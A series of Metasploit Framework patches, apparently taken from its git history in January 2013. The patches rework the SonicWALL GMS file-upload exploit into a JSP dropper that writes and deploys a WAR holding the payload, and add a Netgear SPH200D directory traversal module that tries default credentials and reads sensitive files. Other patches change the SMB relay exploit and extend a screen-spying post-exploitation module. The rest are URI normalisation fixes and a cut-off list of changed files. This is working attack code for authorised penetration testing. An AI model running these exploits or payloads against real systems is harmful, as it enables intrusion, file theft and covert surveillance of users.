100644 --- a/modules/exploits/multi/http/sonicwall_gms_upload.rb +++ b/modules/exploits/multi/http/sonicwall_gms_upload.rb @@ -5,10 +5,13 @@ # http://metasploit.com/ ## +load 'lib/msf/core/payload/java.rb' +load 'lib/msf/core/encoded_payload.rb' +load 'lib/msf/util/exe.rb' require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = GoodRanking + Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } @@ -46,6 +49,12 @@ class Metasploit3 < Msf::Exploit::Remote 'Platform' => [ 'win', 'linux' ], 'Targets' => [ + [ 'SonicWALL GMS 6.0 Viewpoint / Java Universal', + { + 'Arch' => ARCH_JAVA, + 'Platform' => 'java' + } + ], [ 'SonicWALL GMS 6.0 Viewpoint / Windows 2003 SP2', { 'Arch' => ARCH_X86, @@ -70,82 +79,6 @@ class Metasploit3 < Msf::Exploit::Remote end - def on_new_session - # on_new_session will force stdapi to load (for Linux meterpreter) - end - - - def generate_jsp - var_hexpath = Rex::Text.rand_text_alpha(rand(8)+8) - var_exepath = Rex::Text.rand_text_alpha(rand(8)+8) - var_data = Rex::Text.rand_text_alpha(rand(8)+8) - var_inputstream = Rex::Text.rand_text_alpha(rand(8)+8) - var_outputstream = Rex::Text.rand_text_alpha(rand(8)+8) - var_numbytes = Rex::Text.rand_text_alpha(rand(8)+8) - var_bytearray = Rex::Text.rand_text_alpha(rand(8)+8) - var_bytes = Rex::Text.rand_text_alpha(rand(8)+8) - var_counter = Rex::Text.rand_text_alpha(rand(8)+8) - var_char1 = Rex::Text.rand_text_alpha(rand(8)+8) - var_char2 = Rex::Text.rand_text_alpha(rand(8)+8) - var_comb = Rex::Text.rand_text_alpha(rand(8)+8) - var_exe = Rex::Text.rand_text_alpha(rand(8)+8) - @var_hexfile = Rex::Text.rand_text_alpha(rand(8)+8) - var_proc = Rex::Text.rand_text_alpha(rand(8)+8) - var_fperm = Rex::Text.rand_text_alpha(rand(8)+8) - var_fdel = Rex::Text.rand_text_alpha(rand(8)+8) - - jspraw = "<%@ page import=\"java.io.*\" %>\n" - jspraw << "<%\n" - jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"/#{@var_hexfile}.txt\";\n" - jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n" - jspraw << "String #{var_data} = \"\";\n" - - jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n" - jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n" - jspraw << "}\n" - - jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n" - jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n" - - jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n" - jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n" - jspraw << "#{var_inputstream}.read(#{var_bytearray});\n" - jspraw << "#{var_inputstream}.close();\n" - - jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n" - jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n" - jspraw << "{\n" - jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n" - jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n" - jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n" - jspraw << "#{var_comb} <<= 4;\n" - jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n" - jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n" - jspraw << "}\n" - - jspraw << "#{var_outputstream}.write(#{var_bytes});\n" - jspraw << "#{var_outputstream}.close();\n" - - jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") == -1){\n" - jspraw << "String[] #{var_fperm} = new String[3];\n" - jspraw << "#{var_fperm}[0] = \"chmod\";\n" - jspraw << "#{var_fperm}[1] = \"+x\";\n" - jspraw << "#{var_fperm}[2] = #{var_exepath};\n" - jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_fperm});\n" - jspraw << "if (#{var_proc}.waitFor() == 0) {\n" - jspraw << "#{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n" - jspraw << "}\n" - # Linux and other UNICES allow removing files while they are in use... - jspraw << "File #{var_fdel} = new File(#{var_exepath}); #{var_fdel}.delete();\n" - jspraw << "} else {\n" - # Windows does not .. - jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n" - jspraw << "}\n" - - jspraw << "%>\n" - return jspraw - end - def get_install_path res = send_request_cgi( { @@ -195,6 +128,11 @@ class Metasploit3 < Msf::Exploit::Remote }, 'connection' => 'TE, close' }) + if target['Platform'] == "win" + register_files_for_cleanup("#{location}\\#{filename}") + else + register_files_for_cleanup("#{location}/#{filename}") + end if res and res.code == 200 and res.body.empty? return true @@ -236,44 +174,58 @@ class Metasploit3 < Msf::Exploit::Remote @location = "#{install_path}webapps\\appliance\\" end + # Generate the WAR containing the EXE containing the payload + jsp_name = "index" + app_base = rand_text_alphanumeric(4+rand(32-4)) - # Upload the JSP and the raw payload - @jsp_name = rand_text_alphanumeric(8+rand(8)) + war = payload.encoded_war({ + :app_name => app_base, + :jsp_name => jsp_name, + :arch => target.arch, + :platform => target.platform + }).to_s + File.open("foo.war", "wb") { |fd| fd.write(war) } - jspraw = generate_jsp - - # Specify the payload in hex as an extra file.. - payload_hex = payload.encoded_exe.unpack('H*')[0] - - print_status("#{@peer} - Uploading the payload") - - if upload_file(@location, "#{@var_hexfile}.txt", payload_hex) - print_good("#{@peer} - Payload successfully uploaded to #{@location}#{@var_hexfile}.txt") - else - fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Error uploading the Payload") - end - - print_status("#{@peer} - Uploading the payload") - - if upload_file(@location, "#{@jsp_name}.jsp", jspraw) - print_good("#{@peer} - JSP successfully uploaded to #{@location}#{@jsp_name}.jsp") - else - fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Error uploading the jsp") - end - - print_status("Triggering payload at '#{@uri}#{@jsp_name}.jsp' ...") - res = send_request_cgi( + dropper = jsp_bin_dopper(war, "#{install_path}webapps/foo.war") + upload_file("#{install_path}webapps/appliance", "foo-dropper.jsp", dropper) + send_request_cgi( { - 'uri' => "#{@uri}appliance/#{@jsp_name}.jsp", + 'uri' => normalize_uri("#{@uri}appliance/foo-dropper.jsp"), 'method' => 'GET' }) - if res and res.code != 200 - print_warning("#{@peer} - Error triggering the payload") - end + send_request_cgi( + { + 'uri' => normalize_uri("#{target_uri.path}/foo/#{app_base}/#{jsp_name}.jsp"), + 'method' => 'GET' + }) + end - register_files_for_cleanup("#{@location}#{@var_hexfile}.txt") - register_files_for_cleanup("#{@location}#{@jsp_name}.jsp") + def jsp_bin_dopper(bin_data, output_file) + jspraw = %Q|<%@ page import="java.io.*" %>\n| + jspraw << %Q|<%\n| + jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| + + jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n| + + jspraw << %Q|int numbytes = data.length();\n| + + jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n| + jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n| + jspraw << %Q|{\n| + jspraw << %Q| char char1 = (char) data.charAt(counter);\n| + jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n| + jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n| + jspraw << %Q| comb <<= 4;\n| + jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n| + jspraw << %Q| bytes[counter/2] = (byte)comb;\n| + jspraw << %Q|}\n| + + jspraw << %Q|outputstream.write(bytes);\n| + jspraw << %Q|outputstream.close();\n| + + jspraw << %Q|%>\n| + return jspraw end end From deb9385181433c5fa1b91bdebbdf5a022614732b Mon Sep 17 00:00:00 2001 From: lmercer Date: Tue, 29 Jan 2013 15:19:35 -0500 Subject: [PATCH 035/448] Patch for smb_relay.rb to allow the share written to, to be defined in an option As described in Redmine Feature #5455 --- modules/exploits/windows/smb/smb_relay.rb | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/modules/exploits/windows/smb/smb_relay.rb b/modules/exploits/windows/smb/smb_relay.rb index 0bc45cb8a4..c660581404 100644 --- a/modules/exploits/windows/smb/smb_relay.rb +++ b/modules/exploits/windows/smb/smb_relay.rb @@ -94,7 +94,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptAddress.new('SMBHOST', [ false, "The target SMB server (leave empty for originating system)"]) + OptAddress.new('SMBHOST', [ false, "The target SMB server (leave empty for originating system)"]), + OptString.new('SHARE', [ true, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ]) ], self.class ) end @@ -124,8 +125,8 @@ class Metasploit3 < Msf::Exploit::Remote return end - print_status("Connecting to the ADMIN$ share...") - rclient.connect("ADMIN$") + print_status("Connecting to the defined share...") + rclient.connect(datastore['SHARE']) @pwned[smb[:rhost]] = true @@ -155,8 +156,8 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Created \\#{filename}...") - # Disconnect from the ADMIN$ - rclient.disconnect("ADMIN$") + # Disconnect from the SHARE + rclient.disconnect(datastore['SHARE']) print_status("Connecting to the Service Control Manager...") rclient.connect("IPC$") @@ -295,7 +296,7 @@ class Metasploit3 < Msf::Exploit::Remote rclient.disconnect("IPC$") print_status("Deleting \\#{filename}...") - rclient.connect("ADMIN$") + rclient.connect(datastore['SHARE']) rclient.delete("\\#{filename}") end From ea5e993bf3f2e566429e124e34b55f190c71f804 Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Tue, 29 Jan 2013 22:02:29 +0100 Subject: [PATCH 036/448] initial --- .../admin/http/netgear_sph200d_traversal.rb | 134 ++++++++++++++++++ 1 file changed, 134 insertions(+) create mode 100644 modules/auxiliary/admin/http/netgear_sph200d_traversal.rb diff --git a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb new file mode 100644 index 0000000000..dde5408996 --- /dev/null +++ b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb @@ -0,0 +1,134 @@ +## +# $Id: tomcat_utf8_traversal.rb 14975 2012-03-18 01:39:05Z rapid7 $ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::WmapScanServer + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Netgear SPH200D - Directory Traversal Vulnerability', + 'Version' => '$$', + 'Description' => %q{ + This module exploits a directory traversal vulnerablity which is present + in Netgear SPH200D Skype telephone + You may wish to change SENSITIVE_FILES (hosts sensitive files), RPORT depending + on your environment. + }, + 'References' => + [ + [ 'URL', 'http://support.netgear.com/product/SPH200D' ], + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-002' ], + ], + 'Author' => [ 'm-1-k-3' ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(80), + OptPath.new('SENSITIVE_FILES', [ true, "File containing senstive files, one per line", + File.join(Msf::Config.install_root, "data", "wordlists", "sensitive_files.txt") ]), + OptString.new('USERNAME',[ true, 'User to login with', 'admin']), + OptString.new('PASSWORD',[ true, 'Password to login with', 'password']), + + ], self.class) + end + + def extract_words(wordfile) + return [] unless wordfile && File.readable?(wordfile) + begin + words = File.open(wordfile, "rb") do |f| + f.read + end + rescue + return [] + end + save_array = words.split(/\r?\n/) + return save_array + end + + def find_files(files,user,pass) + traversal = '/../..' + + res = send_request_raw( + { + 'method' => 'GET', + 'uri' => traversal << files, + 'basic_auth' => "#{user}:#{pass}" + }) + if (res and res.code == 200) + print_status("Request may have succeeded on #{rhost}:#{rport}:file->#{files}! Response: \r\n") + print_status("#{res.body}") + elsif (res and res.code) + vprint_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport}:file->#{files}") + end + end + + def run_host(ip) + user = datastore['USERNAME'] + if datastore['PASSWORD'].nil? + pass = "" + else + pass = datastore['PASSWORD'] + end + + print_status("Trying to login with #{user} / #{pass}") + + begin + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET', + 'basic_auth' => "#{user}:#{pass}" + }) + + unless (res.kind_of? Rex::Proto::Http::Response) + vprint_error("#{target_url} not responding") + end + + return :abort if (res.code == 404) + + if [200, 301, 302].include?(res.code) + print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") + else + print_error("NO SUCCESSFUL LOGIN POSSIBLE. '#{user}' : '#{pass}'") + return :abort + end + + rescue ::Rex::ConnectionError + vprint_error("Failed to connect to the web server") + return :abort + end + + begin + print_status("Attempting to connect to #{rhost}:#{rport}") + res = send_request_raw( + { + 'method' => 'GET', + 'uri' => '/', + 'basic_auth' => "#{user}:#{pass}" + }) + + if (res) + extract_words(datastore['SENSITIVE_FILES']).each do |files| + find_files(files,user,pass) unless files.empty? + end + end + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + rescue ::Timeout::Error, ::Errno::EPIPE + end + end +end From 80a0f0694d99c6ac348619394f9af242e8266b0e Mon Sep 17 00:00:00 2001 From: kernelsmith Date: Wed, 30 Jan 2013 00:49:48 -0600 Subject: [PATCH 037/448] add 'auto' & 'none' VIEW_CMD, fixed looting, ch defaults --- modules/post/windows/gather/screen_spy.rb | 89 +++++++++++++++-------- 1 file changed, 59 insertions(+), 30 deletions(-) diff --git a/modules/post/windows/gather/screen_spy.rb b/modules/post/windows/gather/screen_spy.rb index 7b53d9391f..90a88eb02b 100644 --- a/modules/post/windows/gather/screen_spy.rb +++ b/modules/post/windows/gather/screen_spy.rb @@ -13,34 +13,40 @@ class Metasploit3 < Msf::Post super( update_info(info, 'Name' => 'Windows Gather Screen Spy', 'Description' => %q{ - This module will incrementally take screenshots of the meterpreter host. This + This module will incrementally take desktop screenshots from the host. This allows for screen spying which can be useful to determine if there is an active user on a machine, or to record the screen for later data extraction. + NOTES: set VIEW_CMD to control how screenshots are opened/displayed, the file name + will be appended directly on to the end of the value of VIEW_CMD (use 'auto' to + have the module do it's best...default browser for Windows, firefox for *nix, and + preview app for macs). 'eog -s -f -w' is a handy VIEW_CMD for *nix. To suppress + opening of screenshots all together, set the VIEW_CMD option to 'none'. }, 'License' => MSF_LICENSE, 'Author' => [ 'Roni Bachar ', # original meterpreter script 'bannedit', # post module - 'kernelsmith ', # record support + 'kernelsmith ', # record/loot support,log x approach, nx 'Adrian Kubok' # better record file names ], - 'Platform' => ['win'], + 'Version' => '$Revision$', + 'Platform' => ['windows'], # @todo add support for posix meterpreter somehow? 'SessionTypes' => ['meterpreter'] )) register_options( [ - OptInt.new('DELAY', [false, 'Interval between screenshots in seconds', 5]), - OptInt.new('COUNT', [false, 'Number of screenshots to collect', 60]), - OptString.new('BROWSER', [false, 'Browser to use for viewing screenshots', 'firefox']), - OptBool.new('RECORD', [false, 'Record all screenshots to disk',false]) + OptInt.new('DELAY', [true, 'Interval between screenshots in seconds', 5]), + OptInt.new('COUNT', [true, 'Number of screenshots to collect', 6]), + OptString.new('VIEW_CMD', [false, 'Command to use for viewing screenshots (auto, none also accepted)', 'auto']), + OptBool.new('RECORD', [true, 'Record all screenshots to disk by looting them',false]) ], self.class) end def run host = session.session_host - screenshot = Msf::Config.install_root + "/data/" + host + ".jpg" + screenshot = Msf::Config.get_config_root + "/logs/" + host + ".jpg" migrate_explorer if session.platform !~ /win32|win64/i @@ -55,46 +61,69 @@ class Metasploit3 < Msf::Post return end - # here we check for the local platform and use default browsers - # linux is the one question mark firefox is not necessarily a - case ::Config::CONFIG['host'] # neat trick to get the local system platform - when /ming/ - cmd = "start #{datastore['BROWSER']} \"file://#{screenshot}\"" - when /linux/ - cmd = "#{datastore['BROWSER']} file://#{screenshot}" - when /apple/ - cmd = "open file://#{screenshot}" # this will use preview + # here we check for the local platform to determine what to do when 'auto' is selected + if datastore['VIEW_CMD'].downcase == 'auto' + case ::RbConfig::CONFIG['host_os'] + when /mac|darwin/ + cmd = "open file://#{screenshot}" # this will use preview usually + when /mswin|win|mingw/ + cmd = "start iexplore.exe \"file://#{screenshot}\"" + when /linux|cygwin/ + # This opens a new tab for each screenshot, but I don't see a better way + cmd = "firefox file://#{screenshot} &" + else # bsd/sun/solaris might be different, but for now... + cmd = "firefox file://#{screenshot} &" + end + elsif datastore['VIEW_CMD'].downcase == 'none' + cmd = nil + else + cmd = "#{datastore['VIEW_CMD']}#{screenshot}" end begin count = datastore['COUNT'] - print_status "Capturing %u screenshots with a delay of %u seconds" % [count, datastore['DELAY']] + print_status "Capturing #{count} screenshots with a delay of #{datastore['DELAY']} seconds" # calculate a sane number of leading zeros to use. log of x is ~ the number of digits - leading_zeros = Math::log(count,10).round + leading_zeros = Math::log10(count).round + file_locations = [] count.times do |num| select(nil, nil, nil, datastore['DELAY']) data = session.espia.espia_image_get_dev_screen if data if datastore['RECORD'] - # let's write it to disk using non-clobbering filename - shot = Msf::Config.install_root + "/data/" + host + ".screenshot.%0#{leading_zeros}d.jpg" % num - ss = ::File.new(shot, 'wb') - ss.write(data) - ss.close + # let's loot it using non-clobbering filename, even tho this is the source filename, not dest + fn = "screenshot.%0#{leading_zeros}d.jpg" % num + file_locations << store_loot("screenspy.screenshot", "application/octet-stream", session, data, fn, "Screenshot") + #shot = Msf::Config.install_root + "/data/" + host + ".screenshot.%0#{leading_zeros}d.jpg" % num end - fd = ::File.new(screenshot, 'wb') - fd.write(data) - fd.close + # also write to disk temporarily so we can display in browser. They may or may not have been RECORDed. + if cmd # do this if they have not suppressed VIEW_CMD display + fd = ::File.new(screenshot, 'wb') + fd.write(data) + fd.close + end end - system(cmd) + system(cmd) if cmd end rescue ::Exception => e - print_error("Error taking screenshot: #{e.class} #{e} #{e.backtrace}") + print_error("Error taking or storing screenshot: #{e.class} #{e} #{e.backtrace}") return end print_status("Screen Spying Complete") - ::File.delete(screenshot) + if file_locations and not file_locations.empty? + print_status "run loot -t screenspy.screenshot to see file locations of your newly acquired loot" + end + if cmd + # wait 2 secs so the last file can get opened before deletion + select(nil, nil, nil, 2) + begin + ::File.delete(screenshot) + rescue Exception => e + print_error("Error deleting the temporary screenshot file: #{e.class} #{e} #{e.backtrace}") + print_error("This may be due to the file being in use if you are on a Windows platform") + end + end end def migrate_explorer From 6659459de57bc8eefee68a1d85be890cadaebc29 Mon Sep 17 00:00:00 2001 From: kernelsmith Date: Wed, 30 Jan 2013 10:56:49 -0600 Subject: [PATCH 038/448] del Version ref and change platform windows -> win per sinner's comments, thanks sinner. --- modules/post/windows/gather/screen_spy.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/post/windows/gather/screen_spy.rb b/modules/post/windows/gather/screen_spy.rb index 90a88eb02b..3ca16f439b 100644 --- a/modules/post/windows/gather/screen_spy.rb +++ b/modules/post/windows/gather/screen_spy.rb @@ -30,8 +30,7 @@ class Metasploit3 < Msf::Post 'kernelsmith ', # record/loot support,log x approach, nx 'Adrian Kubok' # better record file names ], - 'Version' => '$Revision$', - 'Platform' => ['windows'], # @todo add support for posix meterpreter somehow? + 'Platform' => ['win'], # @todo add support for posix meterpreter somehow? 'SessionTypes' => ['meterpreter'] )) From 32a5a009d63af5fca1fe02d9b5d5c33a0e9734a4 Mon Sep 17 00:00:00 2001 From: kernelsmith Date: Wed, 30 Jan 2013 11:28:47 -0600 Subject: [PATCH 039/448] change loot type to image/jpg thanks egypt --- modules/post/windows/gather/screen_spy.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/screen_spy.rb b/modules/post/windows/gather/screen_spy.rb index 3ca16f439b..653abe9d9e 100644 --- a/modules/post/windows/gather/screen_spy.rb +++ b/modules/post/windows/gather/screen_spy.rb @@ -92,7 +92,7 @@ class Metasploit3 < Msf::Post if datastore['RECORD'] # let's loot it using non-clobbering filename, even tho this is the source filename, not dest fn = "screenshot.%0#{leading_zeros}d.jpg" % num - file_locations << store_loot("screenspy.screenshot", "application/octet-stream", session, data, fn, "Screenshot") + file_locations << store_loot("screenspy.screenshot", "image/jpg", session, data, fn, "Screenshot") #shot = Msf::Config.install_root + "/data/" + host + ".screenshot.%0#{leading_zeros}d.jpg" % num end From f649cd53ad2cdca7bd3a438ba56cee63a67af298 Mon Sep 17 00:00:00 2001 From: kernelsmith Date: Wed, 30 Jan 2013 11:31:10 -0600 Subject: [PATCH 040/448] removed commented out code (again) thanks egypt --- modules/post/windows/gather/screen_spy.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/post/windows/gather/screen_spy.rb b/modules/post/windows/gather/screen_spy.rb index 653abe9d9e..6d8a9f07cb 100644 --- a/modules/post/windows/gather/screen_spy.rb +++ b/modules/post/windows/gather/screen_spy.rb @@ -93,7 +93,6 @@ class Metasploit3 < Msf::Post # let's loot it using non-clobbering filename, even tho this is the source filename, not dest fn = "screenshot.%0#{leading_zeros}d.jpg" % num file_locations << store_loot("screenspy.screenshot", "image/jpg", session, data, fn, "Screenshot") - #shot = Msf::Config.install_root + "/data/" + host + ".screenshot.%0#{leading_zeros}d.jpg" % num end # also write to disk temporarily so we can display in browser. They may or may not have been RECORDed. From e1c037e523824583a2c411cceab500024667c8f1 Mon Sep 17 00:00:00 2001 From: kernelsmith Date: Wed, 30 Jan 2013 12:06:57 -0600 Subject: [PATCH 041/448] Better error handling --- modules/post/windows/gather/screen_spy.rb | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/modules/post/windows/gather/screen_spy.rb b/modules/post/windows/gather/screen_spy.rb index 6d8a9f07cb..126bb04892 100644 --- a/modules/post/windows/gather/screen_spy.rb +++ b/modules/post/windows/gather/screen_spy.rb @@ -87,7 +87,12 @@ class Metasploit3 < Msf::Post file_locations = [] count.times do |num| select(nil, nil, nil, datastore['DELAY']) - data = session.espia.espia_image_get_dev_screen + begin + data = session.espia.espia_image_get_dev_screen + rescue RequestError => e + print_error("Error taking the screenshot: #{e.class} #{e} #{e.backtrace}") + return false + end if data if datastore['RECORD'] # let's loot it using non-clobbering filename, even tho this is the source filename, not dest @@ -104,8 +109,8 @@ class Metasploit3 < Msf::Post end system(cmd) if cmd end - rescue ::Exception => e - print_error("Error taking or storing screenshot: #{e.class} #{e} #{e.backtrace}") + rescue IOError => e + print_error("Error storing screenshot: #{e.class} #{e} #{e.backtrace}") return end print_status("Screen Spying Complete") From 345c5f32cc3c566b3eb3342b3b874365c435ece6 Mon Sep 17 00:00:00 2001 From: kernelsmith Date: Wed, 30 Jan 2013 15:40:02 -0600 Subject: [PATCH 042/448] keep it from migrating more than once into explorer.exe thanks for noticing egypt we should add a migrate_explorer to the post api --- modules/post/windows/gather/screen_spy.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/post/windows/gather/screen_spy.rb b/modules/post/windows/gather/screen_spy.rb index 126bb04892..7e03e2440e 100644 --- a/modules/post/windows/gather/screen_spy.rb +++ b/modules/post/windows/gather/screen_spy.rb @@ -137,9 +137,10 @@ class Metasploit3 < Msf::Post begin session.core.migrate(p['pid'].to_i) print_status("Migration successful") + return p['pid'] rescue print_status("Migration failed.") - return + return nil end end end From 95cc84f5e860600fff524c1639561cb419dcbfa7 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 30 Jan 2013 15:42:21 -0600 Subject: [PATCH 043/448] Updates normalize_uri() This function should not remove the trailing slash, because you may end up getting a different HTTP response. The new function also allows multiple URIs as argument, and will just merge & normalize them together. [SeeRM #7733] --- lib/msf/core/exploit/http/client.rb | 21 ++++++++------------- 1 file changed, 8 insertions(+), 13 deletions(-) diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index 4d4fd787a6..6d0bd9336b 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -539,23 +539,18 @@ module Exploit::Remote::HttpClient # Returns a modified version of the URI that: # 1. Always has a starting slash # 2. Removes all the double slashes - # 3. Removes the trailing slash # - def normalize_uri(str) + def normalize_uri(*strs) + new_str = strs * "/" + + new_str = new_str.gsub!("//", "/") while new_str.index("//") + # Makes sure there's a starting slash - unless str.to_s[0,1] == "/" - str = "/" + str.to_s + unless new_str[0,1] == '/' + new_str = '/' + new_str end - # Removes all double slashes - str = str.gsub!("//", "/") while str.index("//") - - # Makes sure there's no trailing slash - unless str.length == 1 - str = str.gsub(/\/+$/, '') - end - - str + new_str end # From d8b15daaf24060c34ca2d8a7973a8e7be35a59f4 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 30 Jan 2013 16:13:17 -0600 Subject: [PATCH 044/448] Correct rspect to the correct behavior --- spec/lib/msf/core/exploit/http/client_spec.rb | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/spec/lib/msf/core/exploit/http/client_spec.rb b/spec/lib/msf/core/exploit/http/client_spec.rb index 73298366d4..d32ce9e122 100644 --- a/spec/lib/msf/core/exploit/http/client_spec.rb +++ b/spec/lib/msf/core/exploit/http/client_spec.rb @@ -56,8 +56,8 @@ describe Msf::Exploit::Remote::HttpClient do unnormalized_uri[-1, 1].should == '/' end - it "should remove the trailing '/'" do - normalized_uri.should == expected_normalized_uri + it "should end with '/'" do + normalized_uri[-1, 1].should == '/' end context "with just '/'" do @@ -76,11 +76,11 @@ describe Msf::Exploit::Remote::HttpClient do context "with multiple multiple trailing '/'" do let(:unnormalized_uri) do - "#{expected_normalized_uri}//" + "#{expected_normalized_uri}" end - it "should have multiple trailing '/'" do - unnormalized_uri[-2 .. -1].should == '//' + it "should have single trailing '/'" do + unnormalized_uri[-2,1].should == '/' end it "should return only one trailing '/'" do @@ -122,12 +122,12 @@ describe Msf::Exploit::Remote::HttpClient do normalized_uri[0, 1].should == '/' end - it "'should remove trailing '/'" do - normalized_uri[-1, 1].should_not == '/' + it "'should not remove trailing '/'" do + normalized_uri[-1, 1].should == '/' end it 'should normalize the uri' do - normalized_uri.should == expected_normalized_uri + normalized_uri.should == "#{expected_normalized_uri}/" end end From c174e6a2084719c8ec34b38a5d1f90d113b39d66 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 30 Jan 2013 23:23:41 -0600 Subject: [PATCH 045/448] Correctly use normalize_uri() normalize_uri() should be used when you're joining URIs. Because if you're merging URIs after it's normalized, you could get double slashes again. --- .../auxiliary/admin/http/typo3_sa_2009_001.rb | 4 ++- modules/auxiliary/admin/tikiwiki/tikidblib.rb | 4 +-- modules/auxiliary/dos/http/webrick_regex.rb | 2 +- .../gather/wp_w3_total_cache_hash_extract.rb | 2 +- .../http/bitweaver_overlay_type_traversal.rb | 5 ++-- .../scanner/http/clansphere_traversal.rb | 3 +- .../scanner/http/concrete5_member_list.rb | 4 +-- .../hp_sitescope_getsitescopeconfiguration.rb | 8 ++++-- ...hp_sitescope_loadfilecontent_fileaccess.rb | 8 ++++-- modules/auxiliary/scanner/http/http_put.rb | 6 ++-- .../auxiliary/scanner/http/s40_traversal.rb | 5 ++-- .../http/sap_businessobjects_user_brute.rb | 2 +- .../http/sap_businessobjects_user_enum.rb | 2 +- .../http/sap_businessobjects_version_enum.rb | 2 +- .../http/vmware_update_manager_traversal.rb | 4 +-- .../exploits/linux/http/dolibarr_cmd_exec.rb | 4 +-- .../linux/http/symantec_web_gateway_exec.rb | 4 +-- .../http/symantec_web_gateway_file_upload.rb | 4 +-- modules/exploits/linux/http/vcms_upload.rb | 4 +-- .../linux/http/webcalendar_settings_exec.rb | 7 ++--- .../exploits/linux/http/webid_converter.rb | 10 +++---- .../http/ajaxplorer_checkinstall_exec.rb | 9 +++--- .../multi/http/apprain_upload_exec.rb | 11 ++++---- .../multi/http/auxilium_upload_exec.rb | 11 ++++---- modules/exploits/multi/http/axis2_deployer.rb | 4 +-- .../multi/http/cuteflow_upload_exec.rb | 6 ++-- .../multi/http/horde_href_backdoor.rb | 4 +-- .../http/hp_sitescope_uploadfileshandler.rb | 10 +++---- .../exploits/multi/http/jboss_bshdeployer.rb | 6 ++-- .../http/jboss_deploymentfilerepository.rb | 10 +++---- .../exploits/multi/http/jboss_maindeployer.rb | 8 +++--- .../multi/http/jenkins_script_console.rb | 4 +-- .../multi/http/log1cms_ajax_create_folder.rb | 6 ++-- .../multi/http/mobilecartly_upload_exec.rb | 6 ++-- .../multi/http/movabletype_upgrade_exec.rb | 2 +- .../multi/http/openfire_auth_bypass.rb | 8 +++--- .../multi/http/php_volunteer_upload_exec.rb | 2 +- .../multi/http/phpldapadmin_query_engine.rb | 8 ++---- modules/exploits/multi/http/phptax_exec.rb | 5 ++-- modules/exploits/multi/http/plone_popen2.rb | 8 ++---- .../exploits/multi/http/pmwiki_pagelist.rb | 3 +- .../exploits/multi/http/qdpm_upload_exec.rb | 8 +++--- .../exploits/multi/http/sit_file_upload.rb | 28 +++---------------- .../multi/http/sonicwall_gms_upload.rb | 2 +- .../multi/http/testlink_upload_exec.rb | 14 +++++----- .../exploits/multi/http/tomcat_mgr_deploy.rb | 6 ++-- .../exploits/multi/http/traq_plugin_exec.rb | 9 ++---- .../exploits/multi/http/vbseo_proc_deutf.rb | 8 ++---- .../multi/http/webpagetest_upload_exec.rb | 8 +++--- .../exploits/multi/http/wikka_spam_exec.rb | 12 ++++---- 